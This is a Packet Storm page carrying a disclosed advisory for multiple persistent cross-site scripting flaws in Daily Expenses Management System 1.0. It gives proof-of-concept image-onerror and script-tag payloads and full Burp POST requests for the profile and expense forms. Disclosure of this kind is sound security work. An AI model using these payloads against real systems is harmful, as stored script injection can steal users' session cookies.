what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Daily Expenses Management System 1.0 Cross Site Scripting

Daily Expenses Management System 1.0 Cross Site Scripting
Posted Aug 6, 2020
Authored by Edo Maland

Daily Expenses Management System version 1.0 suffers from multiple persistent cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | d12f856358ece8af5af610c09d4fcccb1a90301f90a9ff55a63f3ad25f12e611

Daily Expenses Management System 1.0 Cross Site Scripting

Change Mirror Download
# Exploit Title: Daily Expenses Management System 1.0 - Multiple Persistent Cross-Site Scripting
# Date: 2020-8-4
# Exploit Author: Edo Maland
# Vendor Homepage: https://www.sourcecodester.com/php/14372/daily-tracker-system-phpmysql.html
# Software Link: https://www.sourcecodester.com/php/14372/daily-tracker-system-phpmysql.html
# Version: 1.0
# Tested on: XAMPP / Windows 10


-------------------------------------------------------------------------------------------------------------------------------------


# Vulnerability Details
# Feature: Edit Profile
# Description : A persistent cross-site scripting vulnerability exists within the 'Edit Profile' functionality of application.
# Vulnerable Parameter : fullname

# POC

Go to url : https://example.com/dets/user-profile.php
Payload :
- <img src=xss onerror=alert(document.cookie)>

# Burp Requests

POST /dets/user-profile.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: id,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 105
Origin: https://example.com
DNT: 1
Connection: close
Referer: https://example.com/dets/user-profile.php
Cookie: PHPSESSID=m8d5bbejrmmtvnmm3va3htq8c1
Upgrade-Insecure-Requests: 1

fullname=<img src=xss onerror=alert(document.cookie)>&email=info@xss.id&contactnumber=1313371337&regdate=2020-08-05+13%3A19%3A49&submit=


-------------------------------------------------------------------------------------------------------------------------------------

# Vulnerability Details
# Feature: Add Expenses
# Description : A persistent cross-site scripting vulnerability exists within the 'Add Expenses' functionality of application.
# Vulnerable Parameter :
- item
- costitem

# POC

Go to url : https://example.com/dets/add-expense.php
Payload :
- <img src=xss onerror=alert(document.cookie)>
- <script>alert(1337)</script>

# Burp Requests

POST /dets/add-expense.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: id,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
Origin: https://example.com
DNT: 1
Connection: close
Referer: https://example.com/dets/add-expense.php
Cookie: PHPSESSID=m8d5bbejrmmtvnmm3va3htq8c1
Upgrade-Insecure-Requests: 1

dateexpense=1337-11-11&item=%3Cimg+src%3Dxss+onerror%3Dalert%28document.cookie%29%3E&costitem=%3Cimg+src%3Dxss+onerror%3Dalert%282%29%3E&submit=
Login or Register to add favorites

File Archive:

February 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    16 Files
  • 2
    Feb 2nd
    19 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    10 Files
  • 8
    Feb 8th
    25 Files
  • 9
    Feb 9th
    37 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    20 Files
  • 14
    Feb 14th
    25 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    6 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    35 Files
  • 20
    Feb 20th
    25 Files
  • 21
    Feb 21st
    18 Files
  • 22
    Feb 22nd
    15 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    10 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    37 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close